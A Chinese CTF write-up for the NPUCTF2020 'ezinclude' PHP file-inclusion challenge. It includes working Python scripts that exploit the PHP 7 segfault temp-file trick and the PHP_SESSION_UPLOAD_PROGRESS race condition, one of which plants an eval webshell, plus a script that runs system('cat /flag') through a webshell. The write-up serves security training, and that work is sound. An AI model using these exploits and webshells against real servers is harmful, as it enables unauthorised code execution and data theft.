[NPUCTF2020]ezinclude php segment fault特性 PHP_SESSION_UPLOAD_PROGRESS文件包含

[NPUCTF2020]ezinclude
如果什么都没传会返回这个Hash值,猜测是name为空时pass的值
在这里插入图片描述
整挺好,跳出来了flflflflag.php
因为直接访问会跳到404页面所以还是得抓包

在这里插入图片描述
先用filter伪协议读取源文件:/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=index.php
返回的是base64编码过的,解码过后得到源码:

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

dta和input都被过滤了,所以不能用这两个伪协议输入。网上查了是用php7 segment fault特性:当PHP异常退出时,POST的临时文件会被保留(无论网站是不是在POST方法里接收了文件,只要传了就会被当成临时文件保留)。
脚本把内容是<?php phpinfo();?>的文件上传成临时文件(为什么这里想到phpinfo只能说大佬厉害了,其实上传一句话木马的话会发现有很多disable_function连不上去)。
然后再用php://filter/string.strip_tags/resource=/etc/passwd把php搞崩溃,让临时文件不会被删除
有效版本:
php7.0.0-7.1.2
php7.1.3-7.2.1
php7.2.2-7.2.8

php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

有效版本:
php<=5.6.38
php7.0.0-7.0.32
php7.0.4-7.2.12
这道题目环境是7.0.33,所以只能用第一个

import requests
from io import BytesIO
url="http://d1fdd60d-2b91-4eec-b515-b332b741eac1.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
    "file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)

print(r.text)

访问dir.php能看到临时文件的文件名,dir.php是dirsearch扫出来的(但我没扫出来。linux默认临时文件存在/tmp下,windows默认C:/Windwos 或C:/Windwos/Temp/,命名规则是php加随机字符串
在这里插入图片描述
再用文件包含去包含这个临时文件就能执行我们上传的php命令了
在这里插入图片描述
还有一个解是https://www.freebuf.com/vuls/202819.html
https://blog.csdn.net/qq_44657899/article/details/109281343
在Cookie里设置PHPSESSID=feng,并且POST的数据里加上PHP_SESSION_UPLOAD_PROGRESS,PHP将会在服务器上创建一个文件:/tmp/sess_feng。我们的php命令会被写在里面,再文件包含这个文件,执行phpinfo()就能查到flag了。
因为系统会不停地清空这个session文件,就只能不停地上传然后读取。看返回的报文里面有没有我们echo echo md5(‘1’)的值或者找a.txt也是可以的。

import io
import sys
import requests
import threading

host = 'http://7ce6b638-1cef-494f-b79a-59dd5f915039.node4.buuoj.cn:81//flflflflag.php'
sessid = 'feng'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
            files={"file":('a.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        # print(response.text)
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

如果你在临时文件中写入一句话木马再去连这个文件理论上是能getshell的,但是网站设置了disable_functions,用蚁剑的插件是能绕过的,但是python脚本连就比较困难了。这里贴一个我自己写的python脚本连一句话木马,比较简单,题目是极客大挑战2019Knife。

import requests
passwd="Syc"    #连接密码
payload={
    passwd:'system(\'cat /flag\');'      #查看根目录下的flag文件
}
url1="http://987ef3ee-456e-4d57-b3b4-74787ef0d070.node4.buuoj.cn:81/"
print(url1)
response=requests.post(url1,payload,timeout=1)#发送post请求
print(response.text)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值